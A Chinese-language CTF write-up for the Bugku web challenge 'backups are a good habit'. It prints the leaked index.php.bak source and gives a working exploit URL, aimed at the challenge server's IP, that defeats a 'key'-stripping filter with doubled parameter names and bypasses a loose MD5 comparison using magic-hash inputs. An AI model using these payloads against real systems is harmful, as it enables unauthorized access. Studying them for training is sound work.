CTF之Bugku 备份是个好习惯

原理:御剑扫描后台网址,分析代码,提交的url会过滤key字符,构造kkeyey=参数;使md5字符不同,值相同,MD5绕过


在这里插入图片描述
发现有个index.php.bak,打开是下载一个东西

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

分析代码
strstr()将请求url中‘?’以后的字符赋值给str
substr()将下标为1的重新赋值给str
str_replace()把str中的key用空代替
总的来说就是替换掉key
最后需要绕过md5,加密前的MD5不同,加密后相同

构造url
http://123.206.87.240:8002/web16/index.php?kkeyey1=QNKCDZO&kkeyey2=s878926199a
拿到flag

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章